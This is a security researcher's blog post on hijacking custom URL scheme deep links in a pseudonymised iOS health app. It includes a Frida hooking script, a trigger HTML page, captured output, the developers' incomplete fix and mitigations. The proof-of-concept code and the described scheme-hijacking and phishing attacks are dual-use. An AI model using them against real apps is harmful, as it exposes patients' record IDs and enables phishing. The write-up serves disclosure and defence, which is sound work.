Skip to main content

Command Palette

Search for a command to run...

Hijacking iOS Deep Links in a Health App Using Custom URL Schemes

Published
9 min read
Hijacking iOS Deep Links in a Health App Using Custom URL Schemes

Overview

During a recent pentest of an iOS health application (let's call it MedVault), I came across something interesting. The app was using custom URL schemes for deep linking but had no Universal Links implementation in place. This meant that the deep links were completely hijackable. Any malicious app installed on the same device could register the same scheme and intercept links before MedVault ever saw them.

In this article, I'll walk through how I identified and validated this vulnerability using Frida, the PoC I built, the dev team's fix, and why their fix only addressed half the problem.

Before diving in, let's quickly understand the difference between the two.

Custom URL Schemes (e.g., medvault://) are the older way of doing deep linking on iOS. Any app can register any scheme. There's no ownership verification. If two apps on the same device register the same scheme, iOS uses a first-come-first-served approach to decide who gets the link. There's no guarantee your app will be the one that receives it.

Universal Links (e.g., https://medvault.com/dashboard) are Apple's secure alternative. They work by hosting an apple-app-site-association (AASA) file on your domain, which cryptographically binds the domain to your app's bundle ID. No other app can claim your links. Period.

The problem? MedVault was using custom URL schemes exclusively and had zero Universal Link support.

Identifying the Vulnerability

While analyzing the app, I noticed it had two custom URL schemes registered:

  • medvault://

  • com.novahealth.medvault://

To confirm the absence of Universal Links, I used Frida to check for com.apple.developer.associated-domains in the app's entitlements. It wasn't there. The app was relying entirely on these hijackable custom schemes for all its deep linking.

What made this worse was that these schemes could navigate directly into sensitive areas of the app: the dashboard, symptom reporting pages with clinical record IDs, ER report generation, and recording controls. Sensitive parameters like existingSymptomRecordId were being passed through the URL without any source validation.

The Frida PoC

To validate the vulnerability, I wrote a Frida script (frida-url-hijack.js) that hooks into the iOS deep linking internals to monitor exactly what happens when a custom URL is triggered. The script places 5 hooks across the entire URL handling chain. Let me walk through the important ones.

Hooking UIApplication openURL

The first hook catches every URL that the system routes to the app. This is the top-level entry point:

Interceptor.attach(
    ObjC.classes.UIApplication['- openURL:options:completionHandler:'].implementation, {
    onEnter: function(args) {
        var url = ObjC.Object(args[2]).absoluteString().toString();
        console.log('[>] openURL called: ' + url);
    }
});

Hooking the Expo/RN SceneDelegate and AppDelegate

On modern iOS (13+), URL opens go through scene:openURLContexts: on the SceneDelegate. For React Native / Expo apps, we need to hook both EXAppDelegateWrapper and RCTAppDelegate to cover warm launches and the older AppDelegate path:

var sceneClasses = ['EXAppDelegateWrapper', 'RCTRootViewFactory'];
sceneClasses.forEach(function(name) {
    try {
        var cls = ObjC.classes[name];
        if (cls && cls['- scene:openURLContexts:']) {
            Interceptor.attach(cls['- scene:openURLContexts:'].implementation, {
                onEnter: function(args) {
                    var contexts = ObjC.Object(args[3]);
                    var enumerator = contexts.objectEnumerator();
                    var ctx;
                    while ((ctx = enumerator.nextObject()) !== null) {
                        var url = ctx.URL().absoluteString().toString();
                        logURL('scene:openURLContexts: [' + name + ']', url);
                    }
                }
            });
        }
    } catch (e) {}
});

Hooking RCTLinkingManager

This is the critical one for React Native apps. RCTLinkingManager is the bridge that passes URLs from native iOS into the JavaScript layer. Hooking openURL:resolve:reject: shows us every URL that crosses the native-to-JS bridge, and getInitialURL:reject: fires when the app checks what URL launched it (cold start):

var RCTLinking = ObjC.classes.RCTLinkingManager;
if (RCTLinking['- openURL:resolve:reject:']) {
    Interceptor.attach(RCTLinking['- openURL:resolve:reject:'].implementation, {
        onEnter: function(args) {
            console.log('[>] RN Linking.openURL: ' + ObjC.Object(args[2]).toString());
        }
    });
}

Hooking NSNotificationCenter

The last hook catches internal notifications, specifically RCTOpenURLNotification. When React Native broadcasts a URL notification, we intercept it here along with its userInfo dictionary containing the full URL:

Interceptor.attach(
    ObjC.classes.NSNotificationCenter['- postNotificationName:object:userInfo:'].implementation, {
    onEnter: function(args) {
        var name = ObjC.Object(args[2]).toString();
        if (name.indexOf('URL') !== -1 || name.indexOf('Link') !== -1) {
            console.log('[*] Notification: ' + name);
            var info = ObjC.Object(args[4]);
            if (!info.isKindOfClass_(ObjC.classes.NSNull)) {
                console.log('    userInfo: ' + info.toString());
            }
        }
    }
});

The script also reads CFBundleURLTypes from the app's Info.plist to enumerate all registered URL schemes, and checks com.apple.developer.associated-domains to determine if Universal Links are configured:

var bundle = ObjC.classes.NSBundle.mainBundle();
console.log('Bundle ID: ' + bundle.bundleIdentifier().toString());

var urlTypes = bundle.objectForInfoDictionaryKey_('CFBundleURLTypes');
if (urlTypes) {
    for (var i = 0; i < urlTypes.count(); i++) {
        var schemes = urlTypes.objectAtIndex_(i).objectForKey_('CFBundleURLSchemes');
        if (schemes) {
            for (var j = 0; j < schemes.count(); j++) {
                console.log('  -> ' + schemes.objectAtIndex_(j).toString() + '://');
            }
        }
    }
}

var domains = bundle.objectForInfoDictionaryKey_('com.apple.developer.associated-domains');
if (!domains) {
    console.log('[!!] NO Universal Links - app uses only custom URL schemes (hijackable)');
}

Complete script can be found here - https://github.com/az0mb13/frida_setup/blob/master/frida-url-hijack.js

attached the script to the running process:

frida -U -n "MedVault" -l frida-url-hijack.js

The Frida output confirmed the hooks were active and displayed all the registered schemes:

[+] Hooked UIApplication openURL:options:completionHandler:
[+] Hooked scene:openURLContexts: on EXAppDelegateWrapper
[+] Hooked application:openURL:options: on EXAppDelegateWrapper
[+] Hooked RCTLinkingManager openURL:resolve:reject:
[+] Hooked RCTLinkingManager getInitialURL:
[+] Hooked NSNotificationCenter (URL filter)

╔══════════════════════════════════════════════════╗
║  URL SCHEME HIJACK PoC - HOOKS ACTIVE            ║
╚══════════════════════════════════════════════════╝

Bundle ID: com.novahealth.medvault
Registered URL schemes:
  -> medvault://
  -> com.novahealth.medvault://

[!!] NO Universal Links - app uses only custom URL schemes (hijackable)

Open Safari on device and type:
  medvault://prepped/dashboard
  medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337

Waiting...

I created a simple HTML page to trigger the deep links from Safari on the device:

<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>URL Scheme Hijack PoC</title>
</head>
<body>
    <h2>URL Scheme Hijack PoC</h2>
    <p>Tap any link below. If MedVault opens, the scheme is active and hijackable.</p>

    <a href="medvault://prepped/dashboard">
        medvault://prepped/dashboard
    </a>
    <a href="medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337">
        medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337
    </a>
    <a href="medvault://prepped/er_reporting/generate_report">
        medvault://prepped/er_reporting/generate_report
    </a>
    <a href="com.novahealth.medvault://prepped/end_recording/upload_completed_page">
        com.novahealth.medvault://prepped/end_recording/upload_completed_page
    </a>
    <a href="medvault://prepped/end_recording/user_initiated">
        medvault://prepped/end_recording/user_initiated
    </a>
</body>
</html>

Opening this page in Safari and tapping any link immediately opened MedVault and navigated to the corresponding screen. The Frida output showed the full URL flowing through every layer, from the native iOS SceneDelegate, through the Expo AppDelegate wrapper, and finally into the React Native JavaScript layer via RCTOpenURLNotification. All without any source validation:

[>] openURL called: medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337

╔══════════════════════════════════════════════════╗
║  URL SCHEME HIJACK PoC - INTERCEPTED (warm)      ║
╚══════════════════════════════════════════════════╝
──────────────────────────────────────────────────
[scene:openURLContexts: [EXAppDelegateWrapper]] 2026-03-12T14:22:08.431Z
  URL:    medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337
  Scheme: medvault
  Host:   prepped
  Path:   /symptoms/symptom_reporting
  Query:  existingSymptomRecordId=1337
  Param:  existingSymptomRecordId = 1337
──────────────────────────────────────────────────

╔══════════════════════════════════════════════════╗
║  URL SCHEME HIJACK PoC - INTERCEPTED (app delegate) ║
╚══════════════════════════════════════════════════╝
──────────────────────────────────────────────────
[application:openURL: [EXAppDelegateWrapper]] 2026-03-12T14:22:08.433Z
  URL:    medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337
  Scheme: medvault
  Host:   prepped
  Path:   /symptoms/symptom_reporting
  Query:  existingSymptomRecordId=1337
  Param:  existingSymptomRecordId = 1337
──────────────────────────────────────────────────

[*] Notification: onURLReceived
    userInfo: {
        url = "medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337";
    }
[*] Notification: RCTOpenURLNotification
    userInfo: {
        url = "medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337";
    }

The output clearly shows the URL hitting five different hooks across the iOS and React Native stack. The existingSymptomRecordId=1337 parameter is visible in plaintext at every layer. Notice how the URL passes from the native SceneDelegate straight into the RN bridge via RCTOpenURLNotification. There's no validation, no sanitization, no check on where the URL came from. Whatever you pass in the scheme, the app blindly consumes it.

In a real attack scenario, any installed app on the device could trigger these URLs programmatically to manipulate MedVault. No user interaction with a webpage required.

Impact

  • Account/Data Hijacking: A malicious app on the same device can register the same scheme, "win" the URL broadcast, and capture all the parameters silently.

  • Information Leakage: Internal record IDs and routing paths are directly exposed through the URL parameters.

  • Phishing & Redirection: An attacker can craft links that force-navigate the user into specific app states or present fake login screens to harvest credentials.

The Dev's Fix (and Why It Was Incomplete)

The dev team added a +native-intent.tsx file with redirectSystemPath() returning /. This makes Expo Router redirect every external URL open to the root route, killing all deep link navigation. Their reasoning: no flow actually uses these deep links, Expo just auto-registers the schemes, so redirect everything to root and call it a day.

This handles the inbound side. An attacker can no longer force-navigate users into sensitive screens. But the schemes are still registered, which means the interception side is wide open.

Since medvault:// is a custom URL scheme (not a Universal Link), a malicious app can register the same scheme and intercept links before MedVault ever sees them. Imagine a user has both apps installed. Something triggers a medvault:// link from a webpage or QR code, and iOS routes it to the malicious app instead. That app now has the full URL with all the parameters. The redirectSystemPath() fix is irrelevant here because MedVault never received the link in the first place.

If the schemes aren't needed, remove them. Setting "scheme": [] in app.json / app.config.js suppresses Expo's auto-registration entirely. That actually closes the door rather than just redirecting what comes through it.

Mitigations

  • Remove unused URL schemes. If your app doesn't need custom URL schemes, don't register them. For Expo apps, set "scheme": [] in your config to suppress auto-registration.

  • Use Universal Links. If you need deep linking, use Apple's Universal Links with an apple-app-site-association file hosted on your domain. This cryptographically binds links to your app's bundle ID and prevents interception by other apps.

  • Validate all deep link input. Never trust parameters received through URL schemes. Sanitize and validate everything before processing. Treat deep link parameters the same way you'd treat user input from an untrusted source, because that's exactly what they are.

  • Don't pass sensitive data in URLs. Record IDs, session tokens, or any PII should never flow through deep link parameters. Use them for navigation intent only, and resolve sensitive data server-side after authentication.

Takeaways

  • Custom URL schemes on iOS are inherently insecure. They have no ownership verification and are trivially hijackable by any app on the same device.

  • Frida is incredibly powerful for validating deep linking behavior in real-time. Hooking NSNotificationCenter and RCTLinkingManager gives you complete visibility into how URLs flow through a React Native app.

  • Developer fixes that only address one direction of an attack can create a false sense of security. Always think about both the inbound side (what happens when your app receives a link) and the interception side (what happens when another app receives a link meant for yours).

  • If a feature exists only because your framework auto-registers it and no flow depends on it, the correct fix is to remove it, not to build guardrails around something that shouldn't exist in the first place.